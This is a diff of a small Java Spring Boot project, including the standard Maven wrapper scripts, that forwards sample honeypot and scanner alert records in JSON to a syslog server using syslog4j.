fi
|
||||
if [ -n "$MVNW_REPOURL" ]; then
|
||||
jarUrl="$MVNW_REPOURL/org/apache/maven/wrapper/maven-wrapper/3.1.0/maven-wrapper-3.1.0.jar"
|
||||
else
|
||||
jarUrl="https://repo.maven.apache.org/maven2/org/apache/maven/wrapper/maven-wrapper/3.1.0/maven-wrapper-3.1.0.jar"
|
||||
fi
|
||||
while IFS="=" read key value; do
|
||||
case "$key" in (wrapperUrl) jarUrl="$value"; break ;;
|
||||
esac
|
||||
done < "$BASE_DIR/.mvn/wrapper/maven-wrapper.properties"
|
||||
if [ "$MVNW_VERBOSE" = true ]; then
|
||||
echo "Downloading from: $jarUrl"
|
||||
fi
|
||||
wrapperJarPath="$BASE_DIR/.mvn/wrapper/maven-wrapper.jar"
|
||||
if $cygwin; then
|
||||
wrapperJarPath=`cygpath --path --windows "$wrapperJarPath"`
|
||||
fi
|
||||
|
||||
if command -v wget > /dev/null; then
|
||||
if [ "$MVNW_VERBOSE" = true ]; then
|
||||
echo "Found wget ... using wget"
|
||||
fi
|
||||
if [ -z "$MVNW_USERNAME" ] || [ -z "$MVNW_PASSWORD" ]; then
|
||||
wget "$jarUrl" -O "$wrapperJarPath" || rm -f "$wrapperJarPath"
|
||||
else
|
||||
wget --http-user=$MVNW_USERNAME --http-password=$MVNW_PASSWORD "$jarUrl" -O "$wrapperJarPath" || rm -f "$wrapperJarPath"
|
||||
fi
|
||||
elif command -v curl > /dev/null; then
|
||||
if [ "$MVNW_VERBOSE" = true ]; then
|
||||
echo "Found curl ... using curl"
|
||||
fi
|
||||
if [ -z "$MVNW_USERNAME" ] || [ -z "$MVNW_PASSWORD" ]; then
|
||||
curl -o "$wrapperJarPath" "$jarUrl" -f
|
||||
else
|
||||
curl --user $MVNW_USERNAME:$MVNW_PASSWORD -o "$wrapperJarPath" "$jarUrl" -f
|
||||
fi
|
||||
|
||||
else
|
||||
if [ "$MVNW_VERBOSE" = true ]; then
|
||||
echo "Falling back to using Java to download"
|
||||
fi
|
||||
javaClass="$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.java"
|
||||
# For Cygwin, switch paths to Windows format before running javac
|
||||
if $cygwin; then
|
||||
javaClass=`cygpath --path --windows "$javaClass"`
|
||||
fi
|
||||
if [ -e "$javaClass" ]; then
|
||||
if [ ! -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then
|
||||
if [ "$MVNW_VERBOSE" = true ]; then
|
||||
echo " - Compiling MavenWrapperDownloader.java ..."
|
||||
fi
|
||||
# Compiling the Java class
|
||||
("$JAVA_HOME/bin/javac" "$javaClass")
|
||||
fi
|
||||
if [ -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then
|
||||
# Running the downloader
|
||||
if [ "$MVNW_VERBOSE" = true ]; then
|
||||
echo " - Running MavenWrapperDownloader.java ..."
|
||||
fi
|
||||
("$JAVA_HOME/bin/java" -cp .mvn/wrapper MavenWrapperDownloader "$MAVEN_PROJECTBASEDIR")
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
##########################################################################################
|
||||
# End of extension
|
||||
##########################################################################################
|
||||
|
||||
export MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-"$BASE_DIR"}
|
||||
if [ "$MVNW_VERBOSE" = true ]; then
|
||||
echo $MAVEN_PROJECTBASEDIR
|
||||
fi
|
||||
MAVEN_OPTS="$(concat_lines "$MAVEN_PROJECTBASEDIR/.mvn/jvm.config") $MAVEN_OPTS"
|
||||
|
||||
# For Cygwin, switch paths to Windows format before running java
|
||||
if $cygwin; then
|
||||
[ -n "$M2_HOME" ] &&
|
||||
M2_HOME=`cygpath --path --windows "$M2_HOME"`
|
||||
[ -n "$JAVA_HOME" ] &&
|
||||
JAVA_HOME=`cygpath --path --windows "$JAVA_HOME"`
|
||||
[ -n "$CLASSPATH" ] &&
|
||||
CLASSPATH=`cygpath --path --windows "$CLASSPATH"`
|
||||
[ -n "$MAVEN_PROJECTBASEDIR" ] &&
|
||||
MAVEN_PROJECTBASEDIR=`cygpath --path --windows "$MAVEN_PROJECTBASEDIR"`
|
||||
fi
|
||||
|
||||
# Provide a "standardized" way to retrieve the CLI args that will
|
||||
# work with both Windows and non-Windows executions.
|
||||
MAVEN_CMD_LINE_ARGS="$MAVEN_CONFIG $@"
|
||||
export MAVEN_CMD_LINE_ARGS
|
||||
|
||||
WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain
|
||||
|
||||
exec "$JAVACMD" \
|
||||
$MAVEN_OPTS \
|
||||
$MAVEN_DEBUG_OPTS \
|
||||
-classpath "$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar" \
|
||||
"-Dmaven.home=${M2_HOME}" \
|
||||
"-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}" \
|
||||
${WRAPPER_LAUNCHER} $MAVEN_CONFIG "$@"
|
||||
+188
@@ -0,0 +1,188 @@
|
||||
@REM ----------------------------------------------------------------------------
|
||||
@REM Licensed to the Apache Software Foundation (ASF) under one
|
||||
@REM or more contributor license agreements. See the NOTICE file
|
||||
@REM distributed with this work for additional information
|
||||
@REM regarding copyright ownership. The ASF licenses this file
|
||||
@REM to you under the Apache License, Version 2.0 (the
|
||||
@REM "License"); you may not use this file except in compliance
|
||||
@REM with the License. You may obtain a copy of the License at
|
||||
@REM
|
||||
@REM https://www.apache.org/licenses/LICENSE-2.0
|
||||
@REM
|
||||
@REM Unless required by applicable law or agreed to in writing,
|
||||
@REM software distributed under the License is distributed on an
|
||||
@REM "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
|
||||
@REM KIND, either express or implied. See the License for the
|
||||
@REM specific language governing permissions and limitations
|
||||
@REM under the License.
|
||||
@REM ----------------------------------------------------------------------------
|
||||
|
||||
@REM ----------------------------------------------------------------------------
|
||||
@REM Maven Start Up Batch script
|
||||
@REM
|
||||
@REM Required ENV vars:
|
||||
@REM JAVA_HOME - location of a JDK home dir
|
||||
@REM
|
||||
@REM Optional ENV vars
|
||||
@REM M2_HOME - location of maven2's installed home dir
|
||||
@REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands
|
||||
@REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a keystroke before ending
|
||||
@REM MAVEN_OPTS - parameters passed to the Java VM when running Maven
|
||||
@REM e.g. to debug Maven itself, use
|
||||
@REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000
|
||||
@REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files
|
||||
@REM ----------------------------------------------------------------------------
|
||||
|
||||
@REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on'
|
||||
@echo off
|
||||
@REM set title of command window
|
||||
title %0
|
||||
@REM enable echoing by setting MAVEN_BATCH_ECHO to 'on'
|
||||
@if "%MAVEN_BATCH_ECHO%" == "on" echo %MAVEN_BATCH_ECHO%
|
||||
|
||||
@REM set %HOME% to equivalent of $HOME
|
||||
if "%HOME%" == "" (set "HOME=%HOMEDRIVE%%HOMEPATH%")
|
||||
|
||||
@REM Execute a user defined script before this one
|
||||
if not "%MAVEN_SKIP_RC%" == "" goto skipRcPre
|
||||
@REM check for pre script, once with legacy .bat ending and once with .cmd ending
|
||||
if exist "%USERPROFILE%\mavenrc_pre.bat" call "%USERPROFILE%\mavenrc_pre.bat" %*
|
||||
if exist "%USERPROFILE%\mavenrc_pre.cmd" call "%USERPROFILE%\mavenrc_pre.cmd" %*
|
||||
:skipRcPre
|
||||
|
||||
@setlocal
|
||||
|
||||
set ERROR_CODE=0
|
||||
|
||||
@REM To isolate internal variables from possible post scripts, we use another setlocal
|
||||
@setlocal
|
||||
|
||||
@REM ==== START VALIDATION ====
|
||||
if not "%JAVA_HOME%" == "" goto OkJHome
|
||||
|
||||
echo.
|
||||
echo Error: JAVA_HOME not found in your environment. >&2
|
||||
echo Please set the JAVA_HOME variable in your environment to match the >&2
|
||||
echo location of your Java installation. >&2
|
||||
echo.
|
||||
goto error
|
||||
|
||||
:OkJHome
|
||||
if exist "%JAVA_HOME%\bin\java.exe" goto init
|
||||
|
||||
echo.
|
||||
echo Error: JAVA_HOME is set to an invalid directory. >&2
|
||||
echo JAVA_HOME = "%JAVA_HOME%" >&2
|
||||
echo Please set the JAVA_HOME variable in your environment to match the >&2
|
||||
echo location of your Java installation. >&2
|
||||
echo.
|
||||
goto error
|
||||
|
||||
@REM ==== END VALIDATION ====
|
||||
|
||||
:init
|
||||
|
||||
@REM Find the project base dir, i.e. the directory that contains the folder ".mvn".
|
||||
@REM Fallback to current working directory if not found.
|
||||
|
||||
set MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR%
|
||||
IF NOT "%MAVEN_PROJECTBASEDIR%"=="" goto endDetectBaseDir
|
||||
|
||||
set EXEC_DIR=%CD%
|
||||
set WDIR=%EXEC_DIR%
|
||||
:findBaseDir
|
||||
IF EXIST "%WDIR%"\.mvn goto baseDirFound
|
||||
cd ..
|
||||
IF "%WDIR%"=="%CD%" goto baseDirNotFound
|
||||
set WDIR=%CD%
|
||||
goto findBaseDir
|
||||
|
||||
:baseDirFound
|
||||
set MAVEN_PROJECTBASEDIR=%WDIR%
|
||||
cd "%EXEC_DIR%"
|
||||
goto endDetectBaseDir
|
||||
|
||||
:baseDirNotFound
|
||||
set MAVEN_PROJECTBASEDIR=%EXEC_DIR%
|
||||
cd "%EXEC_DIR%"
|
||||
|
||||
:endDetectBaseDir
|
||||
|
||||
IF NOT EXIST "%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config" goto endReadAdditionalConfig
|
||||
|
||||
@setlocal EnableExtensions EnableDelayedExpansion
|
||||
for /F "usebackq delims=" %%a in ("%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a
|
||||
@endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS%
|
||||
|
||||
:endReadAdditionalConfig
|
||||
|
||||
SET MAVEN_JAVA_EXE="%JAVA_HOME%\bin\java.exe"
|
||||
set WRAPPER_JAR="%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.jar"
|
||||
set WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain
|
||||
|
||||
set DOWNLOAD_URL="https://repo.maven.apache.org/maven2/org/apache/maven/wrapper/maven-wrapper/3.1.0/maven-wrapper-3.1.0.jar"
|
||||
|
||||
FOR /F "usebackq tokens=1,2 delims==" %%A IN ("%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.properties") DO (
|
||||
IF "%%A"=="wrapperUrl" SET DOWNLOAD_URL=%%B
|
||||
)
|
||||
|
||||
@REM Extension to allow automatically downloading the maven-wrapper.jar from Maven-central
|
||||
@REM This allows using the maven wrapper in projects that prohibit checking in binary data.
|
||||
if exist %WRAPPER_JAR% (
|
||||
if "%MVNW_VERBOSE%" == "true" (
|
||||
echo Found %WRAPPER_JAR%
|
||||
)
|
||||
) else (
|
||||
if not "%MVNW_REPOURL%" == "" (
|
||||
SET DOWNLOAD_URL="%MVNW_REPOURL%/org/apache/maven/wrapper/maven-wrapper/3.1.0/maven-wrapper-3.1.0.jar"
|
||||
)
|
||||
if "%MVNW_VERBOSE%" == "true" (
|
||||
echo Couldn't find %WRAPPER_JAR%, downloading it ...
|
||||
echo Downloading from: %DOWNLOAD_URL%
|
||||
)
|
||||
|
||||
powershell -Command "&{"^
|
||||
"$webclient = new-object System.Net.WebClient;"^
|
||||
"if (-not ([string]::IsNullOrEmpty('%MVNW_USERNAME%') -and [string]::IsNullOrEmpty('%MVNW_PASSWORD%'))) {"^
|
||||
"$webclient.Credentials = new-object System.Net.NetworkCredential('%MVNW_USERNAME%', '%MVNW_PASSWORD%');"^
|
||||
"}"^
|
||||
"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $webclient.DownloadFile('%DOWNLOAD_URL%', '%WRAPPER_JAR%')"^
|
||||
"}"
|
||||
if "%MVNW_VERBOSE%" == "true" (
|
||||
echo Finished downloading %WRAPPER_JAR%
|
||||
)
|
||||
)
|
||||
@REM End of extension
|
||||
|
||||
@REM Provide a "standardized" way to retrieve the CLI args that will
|
||||
@REM work with both Windows and non-Windows executions.
|
||||
set MAVEN_CMD_LINE_ARGS=%*
|
||||
|
||||
%MAVEN_JAVA_EXE% ^
|
||||
%JVM_CONFIG_MAVEN_PROPS% ^
|
||||
%MAVEN_OPTS% ^
|
||||
%MAVEN_DEBUG_OPTS% ^
|
||||
-classpath %WRAPPER_JAR% ^
|
||||
"-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%" ^
|
||||
%WRAPPER_LAUNCHER% %MAVEN_CONFIG% %*
|
||||
if ERRORLEVEL 1 goto error
|
||||
goto end
|
||||
|
||||
:error
|
||||
set ERROR_CODE=1
|
||||
|
||||
:end
|
||||
@endlocal & set ERROR_CODE=%ERROR_CODE%
|
||||
|
||||
if not "%MAVEN_SKIP_RC%"=="" goto skipRcPost
|
||||
@REM check for post script, once with legacy .bat ending and once with .cmd ending
|
||||
if exist "%USERPROFILE%\mavenrc_post.bat" call "%USERPROFILE%\mavenrc_post.bat"
|
||||
if exist "%USERPROFILE%\mavenrc_post.cmd" call "%USERPROFILE%\mavenrc_post.cmd"
|
||||
:skipRcPost
|
||||
|
||||
@REM pause the script if MAVEN_BATCH_PAUSE is set to 'on'
|
||||
if "%MAVEN_BATCH_PAUSE%"=="on" pause
|
||||
|
||||
if "%MAVEN_TERMINATE_CMD%"=="on" exit %ERROR_CODE%
|
||||
|
||||
cmd /C exit /B %ERROR_CODE%
|
||||
@@ -0,0 +1,61 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
<parent>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter-parent</artifactId>
|
||||
<version>2.7.4</version>
|
||||
<relativePath/> <!-- lookup parent from repository -->
|
||||
</parent>
|
||||
<groupId>com.haobang</groupId>
|
||||
<artifactId>syslog-client</artifactId>
|
||||
<version>1.0.0</version>
|
||||
<name>syslog-client</name>
|
||||
<description>syslog-clien</description>
|
||||
<packaging>jar</packaging>
|
||||
<properties>
|
||||
<java.version>1.8</java.version>
|
||||
</properties>
|
||||
<dependencies>
|
||||
<dependency>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter</artifactId>
|
||||
</dependency>
|
||||
|
||||
<dependency>
|
||||
<groupId>org.graylog2</groupId>
|
||||
<artifactId>syslog4j</artifactId>
|
||||
<version>0.9.61</version>
|
||||
</dependency>
|
||||
|
||||
<dependency>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter-test</artifactId>
|
||||
<scope>test</scope>
|
||||
</dependency>
|
||||
<!-- https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2 -->
|
||||
<dependency>
|
||||
<groupId>com.alibaba.fastjson2</groupId>
|
||||
<artifactId>fastjson2</artifactId>
|
||||
<version>2.0.40</version>
|
||||
</dependency>
|
||||
|
||||
<dependency>
|
||||
<groupId>cn.hutool</groupId>
|
||||
<artifactId>hutool-all</artifactId>
|
||||
<version>5.8.16</version>
|
||||
</dependency>
|
||||
|
||||
</dependencies>
|
||||
|
||||
<build>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-maven-plugin</artifactId>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
|
||||
</project>
|
||||
@@ -0,0 +1,77 @@
|
||||
package com.haobang.syslog;
|
||||
|
||||
import org.graylog2.syslog4j.Syslog;
|
||||
import org.graylog2.syslog4j.SyslogConstants;
|
||||
import org.graylog2.syslog4j.SyslogIF;
|
||||
import org.slf4j.Logger;
|
||||
import org.slf4j.LoggerFactory;
|
||||
|
||||
import java.net.URLDecoder;
|
||||
|
||||
public class ClientClass implements Runnable{
|
||||
private static final Logger logger = LoggerFactory.getLogger(ClientClass.class);
|
||||
//控制循环结束的
|
||||
private boolean flag = true;
|
||||
private static ClientClass ClientClass = null;
|
||||
private ClientClass() {
|
||||
}
|
||||
public static synchronized ClientClass getClient()
|
||||
{
|
||||
if(ClientClass == null)
|
||||
ClientClass = new ClientClass ();
|
||||
return ClientClass ;
|
||||
}
|
||||
@Override
|
||||
public void run() {
|
||||
try {
|
||||
//初始化标识位
|
||||
flag = true;
|
||||
//以传输名称的形式来传输实例化的协议类型
|
||||
String prot = Thread.currentThread().getName();
|
||||
//获取syslog的操作类,使用udp协议。syslog支持"udp", "tcp", "unix_syslog", "unix_socket"协议
|
||||
SyslogIF syslog = Syslog.getInstance(prot);
|
||||
//设置syslog服务器端地址 地址为之前你服务器的地址
|
||||
//syslog.getConfig().setHost("192.168.222.131");
|
||||
syslog.getConfig().setHost("0.0.0.0");
|
||||
//设置syslog接收端口,默认514
|
||||
syslog.getConfig().setPort(514);
|
||||
logger.info("设置syslog端口:514");
|
||||
//拼接syslog日志
|
||||
// String str = "operator Protocol sky====> "+ Thread.currentThread().getName();
|
||||
// String str ="<14>1 2025-10-14T05:49:35Z cb5a5f07595c supermario 9 portrait -{\"source\":\"portrait\",\"uuid\":\"1a26ac6e-2d77-4ada-b560-1abbcae1de98\",\"host\":{\"cpuConcurrency\":8,\"fonts\":[\"Rockwell\",\"Calibri\",\"Gadugi\",\"Leelawadee UI\",\"Bahnschrift\",\"DengXian\",\"Roboto\",\"DejaVu Sans Mono\",\"Open Sans\",\"Source Han Serif CN\"],\"hasUnity\":false,\"language\":\"zh-CN\",\"memory\":0,\"os\":\"Windows 10.0\",\"render\":\"ANGLE (Intel, Intel(R) UHD Graphics 620 Direct3D9Ex vs_3_0 ps_3_0, igdumdim32.dll-30.0.101.1338)\",\"screenResolution\":[1366,768],\"timezone\":\"Asia/Shanghai\",\"touchSupport\":true},\"network\":{\"externalIP\":{\"ip\":\"60.190.198.14\"},\"internalIP\":{\"ip\":\"\"},\"realIP\":{\"ip\":\"60.190.198.14\"}},\"browser\":{\"arch\":\"\",\"bitness\":\"\",\"canvasFingerprint\":\"7031cc506eaded347eb1b596677ec7be\",\"canvas_fp\":\"7031cc506eaded347eb1b596677ec7be\",\"canvas_fp2\":\"7031cc506eaded347eb1b596677ec7be\",\"chrome_ext\":[\"Google Office\"],\"fp2\":\"559732dbe9bafced9536c77a6c020f88\",\"is_private\":false,\"mobile\":false,\"model\":\"\",\"name\":\"Chrome\",\"os\":\"Windows 10.0\",\"tid\":\"s:16951889730ae4d6af8-b3b4b-5ede70.22c7306819e72dd14e3e5c5644e49ed42a44d857ca55f6df0acd0460f510f15f\",\"version\":\"94.0.4606.71\",\"versionNumber\":94,\"webgl_fp\":\"487f7b22f68312d2c1bbc93b1aea445b\",\"webgl_fp2\":\"487f7b22f68312d2c1bbc93b1aea445b\"},\"social\":{},\"extra\":{\"version\":\"1.1\"},\"node\":\"AQSE\"}";
|
||||
|
||||
//String str="<14>1 2025-10-21T03:00:00Z e731cb058e44 supermario 8 scanner-{ \"source\": \"scanner\", \"id\": \"1efbe83b4eb1bdd8c3aede950a7cecda\", \"time\": \"2025-10-21T03:00:00Z\", \"proto\": \"tcp\", \"start_time\": \"2025-10-21T03:02:40.635861443Z\", \"end_time\": \"2025-10-21T03:02:41.830497611Z\", \"src_ip\": \"165.227.62.247\", \"src_port\": \"29011\", \"dest_ip\": \"172.21.7.10\", \"dest_port\": [ 8888 ], \"src_mac\": \"\", \"pcap_file\": null, \"events\": [ { \"dest_port\": \"8888\", \"scan_type\": [ \"unknown_conn\", \"TCP-Syn\" ], \"start_time\": 1761015760.635861, \"end_time\": 1761015761.830498, \"dumb_captures\": null } ], \"scantypes\": [ \"unknown_conn\", \"TCP-Syn\" ], \"send_email\": true, \"agent_id\": \"110edf34-6a68-4853-bdaf-2991c5f837f0\", \"node\": \"N3zA\"}";
|
||||
String str="{\"source\":\"honeypot\",\"id\":\"0b1f271b-8a9a-4005-b86d-74b594962a5a\",\"start_time\":\"2023-07-24T07:24:24.040214306Z\",\"time\":\"2023-07-24T07:24:24.072782762Z\",\"risk_level\":4,\"connection\":\"8c404933-dbb5-4f85-b995-439b46ee5a17\",\"file_info\":null,\"extra\":{\"payload\":{\"format\":\"line\",\"name\":{\"cn\":\"攻击载荷\",\"en\":\"payload\"},\"value\":\"\"},\"uid\":{\"format\":\"line\",\"name\":{\"cn\":\"\",\"en\":\"\"},\"uid\":\"00f854a8-87f1-4421-9f1d-bc282352e161\",\"value\":\"\"}},\"type\":\"WEB_ATTACK_SCANNER\",\"agent_sn\":\"4b10fa4c-f9ef-47d5-b5c7-e30e0093412d\",\"agent_name\":\"agent_211\",\"honeypot_id\":\"9591b17cc30d9b54780d32541b9e4a9f4322134369a18cd444c1ec61135ac4e7\",\"honeypot_name\":\"fastjson\",\"src_ip\":\"10.2.3.122\",\"src_port\":36414,\"src_mac\":\"\",\"dest_ip\":\"10.9.32.211\",\"dest_port\":60035,\"proxy_ip\":null,\"node\":\"p3zZ\"}";
|
||||
// String str ="2021-09-23T08:53:10+08:00 14b52b9261e0 supermario[9]: {\"source\":\"honeypot\",\"id\":\"ee0dceca-a598-49bf-be30-9aae9e941969\",\"start_time\":\"2021-09-23T08:53:09.068027625Z\",\"time\":\"2021-09-23T08:53:10.746983324Z\",\"risk_level\":2,\"connection\":\"202c56f9-24e9-4246-8f2a-14994ce6564b\",\"file_info\":null,\"extra\":{\"note\":{\"format\":\"line\",\"name\":{\"cn\":\"登陆详情\",\"en\":\"Extra Note\"},\"value\":\"user public key not allowed\"},\"success\":{\"format\":\"line\",\"name\":{\"cn\":\"登录是否成功\",\"en\":\"Success or not\"},\"value\":\"no\"},\"username\":{\"format\":\"line\",\"name\":{\"cn\":\"用户名\",\"en\":\"Username\"},\"value\":\"root\"}},\"type_id\":\"key_login\",\"agent_sn\":\"5f32e437-ba85-4b15-a646-f6f4ca3fe6c3\",\"agent_name\":\"abc\",\"honeypot_id\":\"3e9bce4eef09405941284fdd1a91124c01bcd9186440798a9ace96b7f7493330\",\"honeypot_name\":\"ssh\",\"src_ip\":\"172.16.96.1\",\"src_port\":56854,\"src_mac\":\"8a:e9:fe:38:71:64\",\"dest_ip\":\"172.16.96.64\",\"dest_port\":1234,\"proxy_ip\":null}";
|
||||
//String str ="<14>1 2025-10-14T11:52:26Z 5f46d3be75e1 supermario 128 honeypot_event - {\"source\":\"honeypot\",\"id\":\"f6a13c35-bf9d-4da6-a181-50ce23e7ef6a\",\"start_time\":\"2023-09-03T11:07:02.50167643Z\",\"time\":\"2023-09-03T11:16:18.883885281Z\",\"risk_level\":4,\"connection\":\"b18f3fbe-3fbf-4495-815f-ff26f6fb0bdf\",\"file_info\":null,\"extra\":{\"payload\":{\"format\":\"line\",\"name\":{\"cn\":\"攻击载荷\",\"en\":\"payload\"},\"value\":\"\"},\"uid\":{\"format\":\"line\",\"name\":{\"cn\":\"\",\"en\":\"\"},\"uid\":\"b4cbc73c-25d0-4429-ae1b-a856cdf1a651\",\"value\":\"\"}},\"type\":\"WEB_ATTACK_SCANNER\",\"agent_sn\":\"caa7da42-0cca-4cb1-b501-1f1eb2b588d5\",\"agent_name\":\" 教育局蜜罐探针\",\"honeypot_id\":\"11a9ac6bdf38ae2aaa49ec4f1b4a921bff71952cb9f175bdd8ee1f0497057bc6\",\"honeypot_name\":\"茂名市中小学管理平台管理后台-test\",\"src_ip\":\"117.50.189.7\",\"src_port\":58512,\"src_mac\":\"\",\"dest_ip\":\"192.168.222.2\",\"dest_port\":9200,\"proxy_ip\":null,\"node\":\"WRx3\"}" ;
|
||||
|
||||
//String str ="<14>1 2023-09-06T02:02:39Z 48ec296b34c7 supermario 85 agent - {\"sn\":\"8cf9a388-578e-4b30-ac4b-098a46dde642\",\"name\":\"茂名市住房和城乡建设局蜜罐探针\",\"send\":true,\"host\":\"172.25.142.16\",\"type\":\"agent_connect\",\"event_type_display_name\":{\"en\":\"Agent Connect Event\",\"cn\":\"探针连接建立\"},\"node\":\"WRx3\"}";
|
||||
|
||||
|
||||
System.out.println("+++++++++++++start++++++++++++");
|
||||
System.out.println("syslog message push: "+str );
|
||||
syslog.log(SyslogConstants.LEVEL_DEBUG, URLDecoder.decode(str,"utf-8"));
|
||||
/*while(flag) {
|
||||
//等级为debug
|
||||
syslog.log(SyslogConstants.LEVEL_DEBUG, URLDecoder.decode(str,"utf-8"));
|
||||
//给程序缓冲时间,没有缓冲时间接受不到数据
|
||||
Thread.sleep(100);
|
||||
}*/
|
||||
syslog.shutdown();
|
||||
System.out.println(Thread.currentThread().getName()+" end");
|
||||
} catch (Exception e) {
|
||||
System.err.println("出错了");
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
public void shutdown() {
|
||||
try {
|
||||
//线程停止
|
||||
Thread.sleep(2000);
|
||||
//改变标识位
|
||||
flag = false;
|
||||
} catch (InterruptedException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
+38
@@ -0,0 +1,38 @@
|
||||
package com.haobang.syslog;
|
||||
|
||||
import com.alibaba.fastjson2.JSONObject;
|
||||
import org.graylog2.syslog4j.Syslog;
|
||||
import org.graylog2.syslog4j.SyslogConstants;
|
||||
import org.graylog2.syslog4j.SyslogIF;
|
||||
|
||||
import java.io.UnsupportedEncodingException;
|
||||
import java.net.URLDecoder;
|
||||
import java.util.Date;
|
||||
|
||||
public class MySyslogClient {
|
||||
private static final String HOST = "127.0.0.1";
|
||||
private static final int PORT = 514;
|
||||
|
||||
public void generate() {
|
||||
SyslogIF syslog = Syslog.getInstance(SyslogConstants.UDP);
|
||||
syslog.getConfig().setHost(HOST);
|
||||
syslog.getConfig().setPort(PORT);
|
||||
|
||||
StringBuffer buffer = new StringBuffer();
|
||||
buffer.append("约会时间:" + new Date().toString().substring(4,20) + ";")
|
||||
.append("羞答答的美女:" + "我是阿南啦" + ";")
|
||||
.append("暗号:" + "万般皆下品,唯有编码屌88888223346" + ";");
|
||||
JSONObject jsonObject = new JSONObject();
|
||||
jsonObject.put("message", buffer.toString());
|
||||
try {
|
||||
syslog.log(0, URLDecoder.decode(jsonObject.toString(), "utf-8"));
|
||||
} catch (UnsupportedEncodingException e) {
|
||||
System.out.println("generate log get exception " + e);
|
||||
}
|
||||
System.out.println("哎呀,老娘的第N次dating,竟然还得先搭讪!");
|
||||
}
|
||||
|
||||
public static void main(String[] args) {
|
||||
new MySyslogClient().generate();
|
||||
}
|
||||
}
|
||||
+26
@@ -0,0 +1,26 @@
|
||||
package com.haobang.syslog;
|
||||
|
||||
|
||||
import org.springframework.boot.SpringApplication;
|
||||
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||
|
||||
@SpringBootApplication
|
||||
public class syslogClientApplication {
|
||||
|
||||
|
||||
|
||||
public static void main(String[] args) {
|
||||
SpringApplication.run(syslogClientApplication.class, args);
|
||||
|
||||
//获取UDP客户端线程
|
||||
// Thread UDPClient = new Thread(ClientClass.getClient(),"UDP");
|
||||
//获取TCP客户端线程
|
||||
Thread TCPClient = new Thread(ClientClass.getClient(),"TCP");
|
||||
//启动线程
|
||||
TCPClient.start();
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
|
||||
@@ -0,0 +1,42 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<configuration >
|
||||
|
||||
<!-- 定义日志输出格式 -->
|
||||
<property name="LOG_PATTERN" value="%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n" />
|
||||
|
||||
<!-- 控制台输出 -->
|
||||
<appender name="CONSOLE" class="ch.qos.logback.core.ConsoleAppender">
|
||||
<encoder>
|
||||
<pattern>${LOG_PATTERN}</pattern>
|
||||
</encoder>
|
||||
</appender>
|
||||
|
||||
|
||||
<!-- 文件输出,每天滚动 -->
|
||||
<appender name="FILE" class="ch.qos.logback.core.rolling.RollingFileAppender">
|
||||
<file>logs/syslog-client.log</file>
|
||||
<rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy">
|
||||
<!-- 每天滚动 -->
|
||||
<fileNamePattern>logs/syslog-client.%d{yyyy-MM-dd}.log</fileNamePattern>
|
||||
<!-- 保留30天的历史 -->
|
||||
<maxHistory>30</maxHistory>
|
||||
</rollingPolicy>
|
||||
<encoder>
|
||||
<pattern>${LOG_PATTERN}</pattern>
|
||||
</encoder>
|
||||
</appender>
|
||||
|
||||
<!-- 设置日志级别 -->
|
||||
<root level="INFO">
|
||||
<appender-ref ref="CONSOLE" />
|
||||
<appender-ref ref="FILE" />
|
||||
</root>
|
||||
|
||||
<!-- 可以设置特定包的日志级别 -->
|
||||
<!-- 例如,将com.example包的日志级别设置为DEBUG -->
|
||||
<!--
|
||||
<logger name="com.example" level="DEBUG" />
|
||||
-->
|
||||
|
||||
</configuration>
|
||||
+13
@@ -0,0 +1,13 @@
|
||||
package com.haobang.syslog;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.springframework.boot.test.context.SpringBootTest;
|
||||
|
||||
@SpringBootTest
|
||||
class SysjavacollectApplicationTests {
|
||||
